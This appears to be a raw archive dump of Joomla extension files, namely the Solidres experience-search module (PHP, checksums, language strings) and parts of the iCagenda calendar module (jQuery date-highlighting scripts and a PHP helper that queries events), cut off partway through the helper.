  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

defined('_JEXEC') or die;

require_once __DIR__ . '/helper.php';

$moduleclass_sfx  = htmlspecialchars($params->get('moduleclass_sfx'));
$filterRange      = ModSRExperienceSearchHelper::getFilterRangeByPrice();
$showBaseLocation = $params->get('baseLocationBox', 1);
$showEndLocation  = $params->get('endLocationBox', 1);
$showRangeBox     = $params->get('rangeBox', 1);
$searchByCategory = $params->get('searchByCategory', 0);
$rangeByDate      = $params->get('range_by_date', 0);
$colWidth         = 12 / ($showBaseLocation + $showEndLocation + $showRangeBox + 1);
$colWidth         = constant('SR_UI_GRID_COL_' . $colWidth);
$appendScript     = '';

if ($searchByCategory)
{
	$categories = ModSRExperienceSearchHelper::getCategories((array) $params->get('categoryIds', array()));
}

if ($showBaseLocation)
{
	$baseLocationFieldType = $params->get('base_location_field_type', 0);

	if ($baseLocationFieldType)
	{
		$baseLocationOptions = array_unique(preg_split('/\r\n|\n|;/', $params->get('base_location_list_values')));
	}
	else
	{
		$baseLocationDefaultValue = trim($params->get('base_location_text_default'));

		if ($params->get('base_location_auto_complete', 0))
		{
			$appendScript .= '
				$("input[name=base_location]").autocomplete({
					source: ' . json_encode(ModSRExperienceSearchHelper::getLocations('base')) . '
				});
			';
		}
	}
}

if ($showEndLocation)
{
	$endLocationFieldType = $params->get('end_location_field_type', 0);

	if ($endLocationFieldType)
	{
		$endLocationOptions = array_unique(preg_split('/\r\n|\n|;/', $params->get('end_location_list_values')));
	}
	else
	{
		$endLocationDefaultValue = trim($params->get('end_location_text_default'));

		if ($params->get('end_location_auto_complete', 0))
		{
			$appendScript .= '
				$("input[name=end_location]").autocomplete({
					source: ' . json_encode(ModSRExperienceSearchHelper::getLocations('end')) . '
				});
			';
		}
	}
}

if ($rangeByDate)
{
	$input         = JFactory::getApplication()->input;
	$config        = JComponentHelper::getParams('com_solidres');
	$dateFormat    = $config->get('date_format', 'd-m-Y');
	$jsDateFormat  = SRUtilities::convertDateFormatPattern($dateFormat);
	$fromDate      = trim($input->getString('fromDate', ''));
	$toDate        = trim($input->getString('toDate', ''));
	$fromDateValue = $toDateValue = $fromDateJS = $toDateJS = '';


	if (!empty($fromDate) && !empty($toDate))
	{
		try
		{
			$fromDate      = JFactory::getDate($fromDate);
			$toDate        = JFactory::getDate($toDate);
			$fromDateJS    = $fromDate->format($dateFormat, false, false);
			$fromDateValue = $fromDate->format('Y-m-d', false, false);
			$toDateJS      = $toDate->format($dateFormat, false, false);
			$toDateValue   = $toDate->format('Y-m-d', false, false);
		}
		catch (Exception $e)
		{
			$fromDateValue = $toDateValue = $fromDateJS = $toDateJS = '';
		}
	}

	$months       = (int) $config->get('datepicker_month_number', 3);
	$appendScript .= '
				var 
					dateFormat = "' . $jsDateFormat . '",
				    addDate = function (d, v) {
                        d.setDate(d.getDate() + v);
                        return d;
                    },
                    decodeHtml = function (maybeHtml) {
                        var textarea = document.createElement("textarea");
                        textarea.innerHTML = maybeHtml;
                        return textarea.value;
                    },
                    from = $("#srFromDate"),
                    to = $("#srToDate");
                from.removeClass("hasDatepicker")
		            .datepicker({
		                dateFormat: dateFormat,
		                defaultDate: "+1d",
		                numberOfMonths: ' . $months . ',
		                altField: "#srFromDateValue",
		                altFormat: "yy-mm-dd",
		                minDate: "+1d",
		                onSelect: function (a, b) {
		                    var d = $.datepicker.parseDate("yy-mm-dd", $("#srFromDateValue").val());
		                    to.datepicker("option", "minDate", addDate(d, 1));
		                    this.value = decodeHtml(this.value);
		                    to.val(decodeHtml(to.val()));
		                }
		            });
		        to.removeClass("hasDatepicker").datepicker({
		            dateFormat: dateFormat,
		            defaultDate: "+2d",
		            minDate: "+2d",
		            numberOfMonths: ' . $months . ',
		            altField: "#srToDateValue",
		            altFormat: "yy-mm-dd",
		            onSelect: function () {
		                var d = $.datepicker.parseDate("yy-mm-dd", $("#srToDateValue").val());
		                from.datepicker("option", "maxDate", addDate(d, -1));
		                this.value = decodeHtml(this.value);
		                from.val(decodeHtml(from.val()));
		            }
		        });
		        
		        if($("#srFromDateValue").val() == "" || $("#srToDateValue").val() == ""){
		            var date = new Date();
	                date = addDate(date, 1);
	                from.val(decodeHtml($.datepicker.formatDate(dateFormat, date)));
	                $("#srFromDateValue").val($.datepicker.formatDate("yy-mm-dd", date));
	                date = addDate(date, 1);
	                to.val(decodeHtml($.datepicker.formatDate(dateFormat, date)));
	                $("#srToDateValue").val($.datepicker.formatDate("yy-mm-dd", date));
		        }                
			';
}

if (!empty($appendScript))
{
	SRHtml::_('jquery.ui');

	JFactory::getDocument()->addScriptDeclaration('Solidres.jQuery(function($){' . trim($appendScript) . '});');
}

require JModuleHelper::getLayoutPath('mod_sr_experience_search', $params->get('layout', 'default'));mod_sr_experience_search/checksums000060400000002167150750153150013477 0ustar00f5d790834605a6d6fd6834eed101436e modules/mod_sr_experience_search/helper.php
90093ca4524ccb473a088b6e7f6e262e modules/mod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.ini
f66a27242a6b79e3b2063c60f5350788 modules/mod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.sys.ini
a5204b37477fc725563128206a2a295e modules/mod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.ini
54a8b9c868b97107a6c54548b6859f30 modules/mod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.sys.ini
1bcb7400126dd1b5254381749d12cb8c modules/mod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.ini
95568d381cc4652a8d2ba35f6bbda7c3 modules/mod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.sys.ini
41a94e3de2f4e006bf1b592dbae986bc modules/mod_sr_experience_search/mod_sr_experience_search.php
ef2659c8706509a126085b3ef85ba885 modules/mod_sr_experience_search/mod_sr_experience_search.xml
a6cfae6c52525ae07a5636a6012836fe modules/mod_sr_experience_search/tmpl/default.php
6144a2170759647153aa0b15ef41142f modules/mod_sr_experience_search/tmpl/horizontal.phpmod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.sys.ini000060400000000246150750153150023436 0ustar00MOD_SR_EXPERIENCE_SEARCH="Solidres - Modul Erlebnis Suche"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="Dieses Modul zeigt ein Suchformular für Erlebnisse im Front End"mod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.ini000060400000002071150750153150022617 0ustar00MOD_SR_EXPERIENCE_SEARCH="Solidres - Modul Erlebnis Suche"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="Dieses Modul zeigt ein Suchformular für Erlebnisse im Front End"
SR_FIELD_ITEM_ID_LABEL="Menü Artikel ID"
SR_FIELD_ITEM_ID_DESC="Wähle ein Menü"
SR_FIELD_BASE_LOCATION_LABEL="Basisort"
SR_FIELD_BASE_LOCATION_DESC="Basisort"
SR_FIELD_END_LOCATION_LABEL="Zielort"
SR_FIELD_END_LOCATION_DESC="Zielort"
SR_SHOW_RANGE_BOX_LABEL="Zeige Suche nach Preisspanne"
SR_SHOW_RANGE_BOX_DESC="Zeige Suche nach Preisspanne"
SR_EXP_LOCATION_FIELD_TYPE="Ortsfeld Typ"
SR_EXP_LOCATION_FIELD_TEXT="Text"
SR_EXP_LOCATION_FIELD_LIST="Liste"
SR_EXP_LOCATION_TEXT_DEFAULT_VALUE="Standardwert"
SR_EXP_LOCATION_LIST_VALUES="Wähle Werte"
SR_EXP_LOCATION_AUTO_COMPLETE="Ort automatische Vervollständigung"
SR_FIELD_SEARCH_BY_CATEGORY_LABEL="Suche nach Kategorie"
SR_FIELD_SEARCH_BY_CATEGORY_DESC="Suche nach Kategorie"
SR_FIELD_CATEGORIES_SELECT_LABEL="Wähle Kategorien"
SR_FIELD_CATEGORIES_SELECT_DESC="Wähle Kategorien"
SR_FIELD_CATEGORY_SELECT="Wähle eine Kategorie"
SR_FIELD_CATEGORY="Kategorie"mod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.sys.ini000060400000000257150750153150023464 0ustar00MOD_SR_EXPERIENCE_SEARCH="Solidres - Module experience search"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="This modules show a search form in front end to search for experience"mod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.ini000060400000002545150750153150022651 0ustar00MOD_SR_EXPERIENCE_SEARCH="Solidres - Module experience search"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="This modules show a search form in front end to search for experience"
SR_FIELD_ITEM_ID_LABEL="Menu item Id"
SR_FIELD_ITEM_ID_DESC="Select a menu"
SR_FIELD_BASE_LOCATION_LABEL="Base location"
SR_FIELD_BASE_LOCATION_DESC="Base location"
SR_FIELD_END_LOCATION_LABEL="End location"
SR_FIELD_END_LOCATION_DESC="End location"
SR_SHOW_RANGE_BOX_LABEL="Show search by price range"
SR_SHOW_RANGE_BOX_DESC="Show search by price range"
SR_EXP_LOCATION_FIELD_TYPE="Location field type"
SR_EXP_LOCATION_FIELD_TEXT="Text"
SR_EXP_LOCATION_FIELD_LIST="List"
SR_EXP_LOCATION_TEXT_DEFAULT_VALUE="Default value"
SR_EXP_LOCATION_LIST_VALUES="Select values"
SR_EXP_LOCATION_AUTO_COMPLETE="Location autocomplete"
SR_FIELD_SEARCH_BY_CATEGORY_LABEL="Search by category"
SR_FIELD_SEARCH_BY_CATEGORY_DESC="Search by category"
SR_FIELD_CATEGORIES_SELECT_LABEL="Select categories"
SR_FIELD_CATEGORIES_SELECT_DESC="Select categories"
SR_FIELD_CATEGORY_SELECT="Select a category"
SR_FIELD_CATEGORY="Category"
SR_EXP_SEARCH_RANGE_BY_DATE_LABEL="Search by date range"
SR_EXP_SEARCH_RANGE_BY_DATE_DESC="Enter the date range to search for, only experiences that have available dates in the date range will be showed up in the search result."
SR_EXP_SEARCH_FROM_DATE="From date"
SR_EXP_SEARCH_TO_DATE="To date"mod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.ini000060400000001173150750153150023011 0ustar00MOD_SR_EXPERIENCE_SEARCH="Solidres - Модуль Experience Search"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="Этот модуль показывает форму поиска экскурсий на экране"
SR_FIELD_ITEM_ID_LABEL="Меню ID"
SR_FIELD_ITEM_ID_DESC="Выберите меню"
SR_FIELD_BASE_LOCATION_LABEL="Базовое местоположение"
SR_FIELD_BASE_LOCATION_DESC=""
SR_FIELD_END_LOCATION_LABEL="Конечное местоположение"
SR_FIELD_END_LOCATION_DESC=""
SR_SHOW_RANGE_BOX_LABEL="Показать поиск по ценовому диапазону"
SR_SHOW_RANGE_BOX_DESC=""mod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.sys.ini000060400000000327150750153150023626 0ustar00MOD_SR_EXPERIENCE_SEARCH="Solidres - Модуль Experience Search"
MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION="Этот модуль показывает форму поиска экскурсий на экране"mod_iccalendar/js/jQuery.highlightToday.min.js000060400000001026150750153150015447 0ustar00(function(e){e.fn.highlightToday=function(t){var n=new Date,r="0"+n.getDate(),i="0"+(n.getMonth()+1),s=n.getFullYear(),o=s+"-"+i.slice(-2)+"-"+r.slice(-2),u=e(".style_Today",this),a=u.attr("data-cal-date");if(typeof a==="undefined"||o!==a){u.removeClass("style_Today").addClass("style_Day");e('.style_Day[data-cal-date="'+o+'"]',this).addClass("style_Today").removeClass("style_Day");if(t==="show_today"){if(e(".style_Today",this).length===0){if(o>a){e(".nextic",this).click()}else{e(".backic",this).click()}}}}return this}})(jQuery)
mod_iccalendar/js/index.html000060400000000000150750153150012065 0ustar00mod_iccalendar/js/jQuery.highlightToday.js000060400000002231150750153150014664 0ustar00(function ($) {

	$.fn.highlightToday = function(option) {
		var d = new Date(),
			day = '0' + d.getDate(),
			month = '0' + (d.getMonth() + 1),
			year = d.getFullYear(),
			client_date = year + '-' + month.slice(-2) + '-' + day.slice(-2),
			$today = $('.style_Today', this),
			cal_date = $today.attr('data-cal-date');//cal_date='2014-01-07'; // Test data
		if (typeof cal_date === 'undefined' || client_date !== cal_date) {
			// Calendar date not in the displayed month - or client date is different
			$today.removeClass('style_Today').addClass('style_Day');
			$('.style_Day[data-cal-date="' + client_date + '"]', this).addClass('style_Today').removeClass('style_Day');
			// Check whether the correct month is loaded if today is required to be shown
			if (option === 'show_today') {
				if ($('.style_Today', this).length === 0) {
					// The current date is not shown (because of offset between server and client date)
					if (client_date > cal_date) {
						// Load next month
						$('.nextic', this).click();
					} else {
						// Load previous month
						$('.backic', this).click();
					}
				}
			}
		}
		// Support chaining
		return this;
	};

}(jQuery));
mod_iccalendar/js/jquery.noconflict.js000060400000000024150750153150014110 0ustar00jQuery.noConflict();mod_iccalendar/helper.php000060400000141150150750153150011460 0ustar00<?php
/**
 *----------------------------------------------------------------------------
 * iCagenda     Events Management Extension for Joomla!
 *----------------------------------------------------------------------------
 * @version     3.7.12 2020-03-25
 *
 * @package     iCagenda.Site
 * @subpackage  mod_iccalendar
 * @link        https://icagenda.joomlic.com
 *
 * @author      Cyril Rezé
 * @copyright   (c) 2012-2019 Jooml!C / Cyril Rezé. All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 *
 * @since       3.1.9 (1.0)
 *----------------------------------------------------------------------------
*/

defined('_JEXEC') or die;

jimport('joomla.methods');
jimport('joomla.environment.request');
jimport('joomla.application.component.helper');

/**
 *	iCagenda - iC calendar
 */
class modiCcalendarHelper
{
	private function construct($params)
	{
		$app    = JFactory::getApplication();
		$jinput = $app->input;

		$this->modid				= $params->get('id');
		$this->template				= $params->get('template');
		$this->format				= $params->get('format');
		$this->date_separator		= $params->get('date_separator');
		$this->setTodayTimezone		= $params->get('setTodayTimezone');
		$this->displayDatesTimezone	= $params->get('displayDatesTimezone');
		$this->filtering_shortDesc	= $params->get('filtering_shortDesc', '');
		$this->limit				= $params->get('paramlimit', '')
									? $params->get('paramlimit_Content')
									: false;
		$this->mcatid				= $params->get('mcatid', '');
		$this->number				= $params->get('number');
		$this->onlyStDate			= $params->get('onlyStDate');
		$this->firstMonth           = iCDate::isDate($params->get('firstMonth'))
									? $params->get('firstMonth')
									: '';
		$this->month_nav			= $params->get('month_nav', '1');
		$this->year_nav				= $params->get('year_nav', '1');

		$this->itemid				= $jinput->getInt('Itemid');
		$this->mod_iccalendar		= '#mod_iccalendar_' . $this->modid;

		// Get media path
		$params_media				= JComponentHelper::getParams('com_media');
		$image_path					= $params_media->get('image_path', 'images');

		// Features Options
		$this->features_icon_size	= $params->get('features_icon_size');
		$this->show_icon_title		= $params->get('show_icon_title');
		$this->features_icon_root	= JURI::base() . "{$image_path}/icagenda/feature_icons/{$this->features_icon_size}/";

		// First day of the current month
		$this_month	= $this->firstMonth
//					? date("Y-m-d", strtotime("+1 month", strtotime($this->firstMonth)))
					? date("Y-m-d", strtotime($this->firstMonth))
					: JHtml::date('now', 'Y-m-01', null);

		$iccaldate	= $jinput->get('iccaldate', ''); // Get date set in month/year navigation

		// This should be the first day of a month
		$date_start = $iccaldate ? date('Y-m-01', strtotime($iccaldate)) : $this_month;

		// Add filter to restrict the number of events using the 'next' date
		if ($date_start > $this_month)
		{
			// Month to be displayed is in the future
			// Events required start from the current month
			$filter_start = $this_month;
		}
		else
		{
			// Month to be displayed is current or past
			// Events required start from the display month
			$filter_start = $date_start;
		}

		$this->date_start = $date_start;

		// Set Next date filtering
		$this->filter_start = $filter_start;

//		$this->addFilter('e.next', $filter_start, '>=');

		// An end date for selection is not possible because it may prevent display of past events where the next
		// scheduled instance of an event is after the end of the display month
//		$filter_end = date('Y-m-d', strtotime('+1 month', strtotime($this->date_start)));
//		$this->addFilter('e.next', "'$filter_end'",'<');
	}


	function start($params)
	{
		$this->construct($params);
	}


	// Class Method
	function getStamp($params)
	{
		$db = JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('id AS nbevt')->from('`#__icagenda_events` AS e')->where('e.state = 1');
		$db->setQuery($query);
		$nbevt = $db->loadResult();

		$no_event_message = '<div class="ic-msg-no-event">' . JText::_('MOD_ICCALENDAR_NO_EVENT') . '</div>';

		if ( ! $nbevt)
		{
			echo $no_event_message;
		}

		$iCparams		= JComponentHelper::getParams('com_icagenda');

		// Global Joomla API objects
		$app    = JFactory::getApplication();
		$lang   = JFactory::getLanguage();

		$menu           = $app->getMenu();

		// Module Params
		$iCmenuitem     = $params->get('iCmenuitem', '');
		$iCmenu_filters = $params->get('iCmenu_filters', 0);

		$firstMonth     = iCDate::isDate($params->get('firstMonth'))
						? trim($params->get('firstMonth', ''))
						: '';

		$dp_city            = $params->get('dp_city', 1);
		$dp_country         = $params->get('dp_country', 1);
		$param_dp_regInfos  = $params->get('dp_regInfos', 1);
		$dp_shortDesc       = $params->get('dp_shortDesc', '');
		$dp_time            = $params->get('dp_time', 1);
		$dp_venuename       = $params->get('dp_venuename', 1);

		$eventTimeZone	= null;

		// Itemid Request (automatic detection of the first iCagenda menu-link, by menuID)
		$iC_list_menus	= icagendaMenus::iClistMenuItemsInfo();



		// Check if GD is enabled on the server
		if (extension_loaded('gd') && function_exists('gd_info'))
		{
			$thumb_generator = $iCparams->get('thumb_generator', 1);
		}
		else
		{
			$thumb_generator = 0;
		}

		$datetime_today	= JHtml::date('now', 'Y-m-d H:i');
		$timeformat		= $iCparams->get('timeformat', 1);
		$lang_time		= ($timeformat == 1) ? 'H:i' : 'h:i A';

		// Check if fopen is allowed
		$result	= ini_get('allow_url_fopen');
		$fopen	= empty($result) ? false : true;


		$this->start($params);

		// Set start/end dates of the current month
		$days				= self::getNbOfDaysInMonth($this->date_start);
		$current_date_start	= $this->date_start;
		$month_start		= date('m', strtotime($current_date_start));
		$month_end			= date('m', strtotime('+1 month', strtotime($current_date_start)));
		$day_end			= date('m', strtotime('+'.$days.' days', strtotime($current_date_start)));

		$year_end			= ($month_start == '12')
							? date('Y', strtotime("+1 year", strtotime($this->date_start)))
							: date('Y', strtotime($this->date_start));

		$current_date_end	= $year_end . '-' . $month_end . '-' . $day_end;

		// Get the database
		$query	= $db->getQuery(true);

		// Build the query
		$query->select('e.*,
				e.place as place_name,
				c.title as cat_title,
				c.alias as cat_alias,
				c.color as cat_color,
				c.ordering as cat_order
			')
			->from($db->qn('#__icagenda_events').' AS e')
			->leftJoin($db->qn('#__icagenda_category').' AS c ON ' . $db->qn('c.id') . ' = ' . $db->qn('e.catid'));

		// Where Category is Published
		$query->where('c.state = 1');

		// Where State is Published
		$query->where('e.state = 1');

		// Where event is Approved
		$query->where('e.approval = 0');

		// Filter next date
		if ( ! $firstMonth)
		{
			$query->where('e.next >= ' . $db->q($this->filter_start));
		}


		// Filter by categories to be displayed
		$catFilter = ! is_array($this->mcatid) ? array($this->mcatid) : $this->mcatid;

		// Note: zero value kept for Joomla 2.5 B/C (option All categories not used on J3 sites)
		if ( $catFilter && ! in_array('0', $catFilter) && ! in_array('', $catFilter))
		{
			$cats_option = implode(', ', $catFilter);

			$query->where('e.catid IN (' . $cats_option . ')');
		}

		// Check Access Levels
		$user		= JFactory::getUser();
		$userID		= $user->id;
		$userLevels	= $user->getAuthorisedViewLevels();
		$userGroups = $user->getAuthorisedGroups();

		$userAccess = implode(', ', $userLevels);

		if ( ! in_array('8', $userGroups))
		{
			$query->where('e.access IN (' . $userAccess . ')');
		}

		// Filter by language
		$query->where('e.language IN (' . $db->q(JFactory::getLanguage()->getTag()) . ',' . $db->q('*') . ')');

		// Features - extract the number of displayable icons per event
		$query->select('feat.count AS features');
		$sub_query = $db->getQuery(true);
		$sub_query->select('fx.event_id, COUNT(*) AS count');
		$sub_query->from('`#__icagenda_feature_xref` AS fx');
		$sub_query->innerJoin("`#__icagenda_feature` AS f ON fx.feature_id=f.id AND f.state=1 AND f.icon<>'-1'");
		$sub_query->group('fx.event_id');
		$query->leftJoin('(' . (string) $sub_query . ') AS feat ON e.id=feat.event_id');

		// Registrations total
//		$query->select('r.count AS registered, r.date AS reg_date');
		$query->select('r.count AS reg_people, r.date AS reg_date');
		$sub_query = $db->getQuery(true);
		$sub_query->select('r.eventid, sum(r.people) AS count, r.date AS date');
		$sub_query->from('`#__icagenda_registration` AS r');
		$sub_query->where('r.state > 0');
		$sub_query->group('r.eventid');
		$query->leftJoin('(' . (string) $sub_query . ') AS r ON e.id=r.eventid');

		// Run the query
		$db->setQuery($query);

		// Invoke the query
		$result = $db->loadObjectList();

		$registrations = icagendaEventsData::registeredList();

		foreach ($result AS &$record)
		{
			$record_registered = array();

			foreach ($registrations AS &$reg_by_event)
			{
				$ex_reg_by_event = explode('@@', $reg_by_event);

				if ($ex_reg_by_event[0] == $record->id)
				{
					$record_registered[] = $ex_reg_by_event[0] . '@@' . $ex_reg_by_event[1] . '@@' . $ex_reg_by_event[2] . '@@' . $ex_reg_by_event[3];
				}
			}

			$record->registered = $record_registered;
		}

		// Get days of the current month
		$days = $this->getDays($this->date_start, 'Y-m-d H:i');

//		$total_items		= 0;
//		$displayed_items	= 0;

		foreach ($result as $item)
		{
			// Extract the feature details, if needed
			$features = array();

			if (is_null($item->features) || empty($this->features_icon_size))
			{
				$item->features = array();
			}
			else
			{
				$item->features = icagendaEvents::featureIcons($item->id);
			}

			if (isset($item->features) && is_array($item->features))
			{
				foreach ($item->features as &$feature)
				{
					$features[] = array('icon' => $feature->icon, 'icon_alt' => $feature->icon_alt);
				}
			}

			// list calendar dates
			$AllDates = array();

//			$next = isset($next) ? $next : '';

			// Get list of valid single dates for this event
			$allSingleDates_array = $this->getDatelist($item->dates);

			sort($allSingleDates_array);

			// If Single Dates, added to all dates for this event
//			if (isset($datemultiplelist)
//				&& $datemultiplelist != NULL
//				&& is_array($datemultiplelist))
//			{
//				$allSingleDates_array = array_merge($AllDates, $datemultiplelist);
//			}

			foreach ($allSingleDates_array as &$sd)
			{
				$this_date = JHtml::date($sd, 'Y-m-d', null);

				if (strtotime($this_date) >= strtotime($current_date_start)
					&& strtotime($this_date) < strtotime($current_date_end))
				{
//					array_push($AllDates, $sd);
					$AllDates[] = $sd;
				}
			}

			// Get WeekDays Array
			$WeeksDays			= iCDatePeriod::weekdaysToArray($item->weekdays);

			// Get Period Dates
			$startDate_TZ		= iCDate::isDate($item->startdate)
								? JHtml::date($item->startdate, 'Y-m-d H:i', $eventTimeZone)
								: false;
			$endDate_TZ			= iCDate::isDate($item->enddate)
								? JHtml::date($item->enddate, 'Y-m-d H:i', $eventTimeZone)
								: false;
			$perioddates		= iCDatePeriod::listDates($item->startdate, $item->enddate); // UTC

			$onlyStDate			= isset($this->onlyStDate) ? $this->onlyStDate : '';

			// Check the period if individual dates
			$only_startdate		= ($item->weekdays || $item->weekdays == '0') ? false : true;

			if ( ! empty($perioddates))
			{
				if ($onlyStDate == 1)
				{
					if (strtotime($startDate_TZ) >= strtotime($current_date_start)
						&& strtotime($startDate_TZ) < strtotime($current_date_end))
					{
//						array_push($AllDates, date('Y-m-d H:i', strtotime($item->startdate)));
						$AllDates[] = date('Y-m-d H:i', strtotime($item->startdate));
					}
				}
				else
				{
					foreach ($perioddates as &$Dat)
					{
						$this_date = JHtml::date($Dat, 'Y-m-d', null);

						if (in_array(date('w', strtotime($Dat)), $WeeksDays))
						{
							$SingleDate = date('Y-m-d H:i', strtotime($Dat));

							if (strtotime($this_date) >= strtotime($current_date_start)
								&& strtotime($this_date) < strtotime($current_date_end))
							{
//								array_push($AllDates, $SingleDate);
								$AllDates[] = $SingleDate;
							}
						}
					}
				}
			}

			rsort($AllDates);

//			$total_items = $total_items + 1;

			$descShort = icagendaEvents::shortDescription($item->desc, true, $this->filtering_shortDesc, $this->limit);


			/**
			 * Get Thumbnail
			 */

			// START iCthumb

			// Set if run iCthumb
			if ($item->image
				&& $thumb_generator == 1)
			{
				// Generate small thumb if not exist
				$thumb_img = icagendaThumb::sizeSmall($item->image);
			}
			elseif ($item->image
				&& $thumb_generator == 0)
			{
				$thumb_img = $item->image;
			}
			else
			{
				$thumb_img = $item->image ? 'media/com_icagenda/images/nophoto.jpg' : '';
			}

			// END iCthumb



//			$evtParams = '';
			$evtParams = new JRegistry($item->params);

			// Display Time
			$r_time			= $dp_time ? true : false;

			// Display City
			$r_city			= $dp_city ? $item->city : false;

			// Display Country
			$r_country		= $dp_country ? $item->country : false;

			// Display Venue Name
			$r_place		= $dp_venuename ? $item->place_name : false;

			// Display Intro Text
			// Short Description
			if ($dp_shortDesc == '1')
			{
				$descShort		= $item->shortdesc ? $item->shortdesc : false;
			}
			// Auto-Introtext
			elseif ($dp_shortDesc == '2')
			{
				$descShort		= $descShort ? $descShort : false;
			}
			// Hide
			elseif ($dp_shortDesc == '0')
			{
				$descShort		= false;
			}
			// Auto (First Short Description, if does not exist, Auto-generated short description from the full description. And if does not exist, will use meta description if not empty)
			else
			{
				$e_shortdesc	= $item->shortdesc ? $item->shortdesc : $descShort;
				$descShort		= $e_shortdesc ? $e_shortdesc : $item->metadesc;
			}

			// Display Registration Infos
			$eventRegStatus = $evtParams->get('statutReg', $iCparams->get('statutReg', '0'));
			$dp_regInfos	= ($eventRegStatus == 1) ? $param_dp_regInfos : '';

			$maxReg			= ($dp_regInfos == 1) ? $evtParams->get('maxReg', '1000000') : false;
			$typeReg		= ($dp_regInfos == 1) ? $evtParams->get('typeReg', '1') : false;

			$reg_deadline	= $evtParams->get('reg_deadline', $iCparams->get('reg_deadline', ''));

			$eventIsCancelled = icagendaEvent::cancelledButton($item->id);

			$eventTitle = $eventIsCancelled ? $item->title . '<div class="ic-float-right">' . $eventIsCancelled . '</div>' : $item->title;

			$event = array(
				'id'					=> (int)$item->id,
//				'Itemid'				=> (int)$linkid,
				'title'					=> $eventTitle,
				'next'					=> $this->formatDate($item->next),
				'image'					=> $thumb_img,
				'file'					=> $item->file,
				'address'				=> $item->address,
				'city'					=> $r_city,
				'country'				=> $r_country,
				'place'					=> $r_place,
				'description'			=> $item->desc,
				'descShort'				=> $descShort,
				'cat_title'				=> $item->cat_title,
				'cat_order'				=> $item->cat_order,
				'cat_color'				=> $item->cat_color,
//				'nb_events'				=> count($item->id),
				'no_image'				=> JTEXT::_('MOD_ICCALENDAR_NO_IMAGE'),
				'params'				=> $item->params,
				'features_icon_size'	=> $this->features_icon_size,
				'features_icon_root'	=> $this->features_icon_root,
				'show_icon_title'		=> $this->show_icon_title,
				'features'				=> $features,
				'item'					=> $item,
			);

			// Get Option Dislay Time
			$displaytime	= isset($item->displaytime) ? $item->displaytime : '';

			$events_per_day	= array();

			$countEventDates = count($AllDates);

			// Get List of Dates
			if (is_array($event))
			{
				$past_dates = 0;

				foreach ($AllDates as &$d)
				{
					// Control if date is past
					if (strtotime($d) < strtotime($datetime_today))
					{
						$past_dates = $past_dates + 1;
					}
				}

				unset($d);

				$iCmenuitem = is_numeric($iCmenuitem) ? $iCmenuitem : '';

				foreach ($AllDates as &$d)
				{
					$urlevent       = '';
					$event_filters  = array(
										'date'      => $d,
										'catid'     => $item->catid,
										'language'  => $item->language,
										'access'    => $item->access,
									);

					// If use menu item filters
					if ($iCmenu_filters === '1')
					{
						$linkid = $iCmenuitem
								? icagendaMenus::displayEventItemid($iCmenuitem, $event_filters)
								: icagendaMenus::thisEventItemid($d, $item->catid, $iC_list_menus);
					}
					else
					{
						$linkid = $iCmenuitem ? $iCmenuitem : icagendaMenus::thisEventItemid($d, $item->catid, $iC_list_menus);
						$linkid = $linkid ? $linkid : $menu->getDefault($lang->getTag())->id;
					}

					$eventnumber	= $item->id ? $item->id : null;
					$event_slug		= $item->alias ? $item->id . ':' . $item->alias : $item->id;

					if ( $linkid >= 0
						&& JComponentHelper::getComponent('com_icagenda', true)->enabled
						)
					{
						$urlevent   = 'index.php?option=com_icagenda&amp;view=event&amp;id='
									. $event_slug . '&amp;Itemid=' . (int) $linkid;
					}


					$this_date_utc  = date('Y-m-d H:i', strtotime($d));

					// Set variable date-alias in url & registration deadline datetime
					if ($only_startdate && in_array($this_date_utc, $perioddates))
					{
						$set_date_in_url = '';

						$regDeadlineDatetime	= ($reg_deadline == '2')
												? JHtml::date($item->enddate, 'Y-m-d H:i:s', false)
												: JHtml::date($item->startdate, 'Y-m-d H:i:s', false);
					}
					else
					{
//						$set_date_in_url = $date_var . iCDate::dateToAlias($d, 'Y-m-d H:i');
						$set_date_in_url = '&amp;date=' . iCDate::dateToAlias($d, 'Y-m-d H:i');

						if ($reg_deadline == '2')
						{
							$regDeadlineDatetime	= (in_array($this_date_utc, $perioddates))
													? JHtml::date($d, 'Y-m-d', false) . ' ' . JHtml::date($item->enddate, 'H:i:s', false)
													: JHtml::date($d, 'Y-m-d', false) . ' 23:59:59';
						}
						else
						{
							$regDeadlineDatetime	= JHtml::date($d, 'Y-m-d H:i:s', false);
						}
					}

					if ($r_time)
					{
						$time = array(
							'time'			=> date($lang_time, strtotime($d)),
							'displaytime'	=> $displaytime,
							'url'			=> JRoute::_($urlevent . $set_date_in_url),
						);
					}
					else
					{
						$time = array(
							'time'			=> '',
							'displaytime'	=> '',
							'url'			=> JRoute::_($urlevent . $set_date_in_url),
						);
					}

					$event = array_merge($event, $time);

					$this_date = $item->reg_date ? date('Y-m-d H:i:s', strtotime($d)) : 'period';

					$registrations	= ($dp_regInfos == 1) ? true : false;
					$registered		= ($dp_regInfos == 1)
									? self::getNbTicketsBooked($this_date, $item->registered, $eventnumber, $set_date_in_url, $typeReg)
									: false;
					$maxTickets		= ($maxReg != '1000000') ? $maxReg : false;
